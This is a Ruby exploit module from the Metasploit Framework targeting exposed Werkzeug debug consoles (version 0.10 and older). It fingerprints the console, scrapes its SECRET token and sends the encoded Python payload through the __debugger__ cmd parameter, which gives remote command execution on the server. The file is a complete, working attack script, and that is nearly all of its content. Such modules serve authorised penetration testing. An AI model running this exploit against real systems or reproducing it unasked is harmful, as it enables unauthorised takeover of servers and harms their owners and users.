metasploit-framework/modules/exploits/multi/http/werkzeug_debug_rce.rb

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class Metasploit4 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
super(update_info(info,
'Name' => 'Werkzeug Debug Shell Command Execution',
'Description' => %q{
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This module will exploit the Werkzeug debug console to put down a
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Python shell. This debugger "must never be used on production
machines" but sometimes slips passed testing.
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Tested against:
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0.9.6 on Debian
0.9.6 on Centos
0.10 on Debian
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},
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'Author' => 'h00die <mike[at]shorebreaksecurity.com>',
'References' =>
[
['URL', 'http://werkzeug.pocoo.org/docs/0.10/debug/#enabling-the-debugger']
],
'License' => MSF_LICENSE,
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'Platform' => ['python'],
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'Targets' => [[ 'werkzeug 0.10 and older', {}]],
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'Arch' => ARCH_PYTHON,
'DefaultTarget' => 0,
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'DisclosureDate' => 'Jun 28 2015'
))
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register_options(
[
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OptString.new('TARGETURI', [true, 'URI to the console', '/console'])
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], self.class
)
end
def check
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res = send_request_cgi(
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'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'])
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)
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# https://github.com/mitsuhiko/werkzeug/blob/cc8c8396ecdbc25bedc1cfdddfe8df2387b72ae3/werkzeug/debug/tbtools.py#L67
if res && res.body =~ /Werkzeug powered traceback interpreter/
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return Exploit::CheckCode::Appears
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end
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Exploit::CheckCode::Safe
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end
def exploit
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# first we need to get the SECRET code
res = send_request_cgi(
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'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'])
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)
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if res && res.body =~ /SECRET = "([a-zA-Z0-9]{20})";/
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secret = $1
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vprint_status("Secret Code: #{secret}")
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send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI']),
'vars_get' => {
'__debugger__' => 'yes',
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'cmd' => payload.encoded,
'frm' => '0',
's' => secret
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}
)
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else
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print_error('Secret code not detected.')
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end
end
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end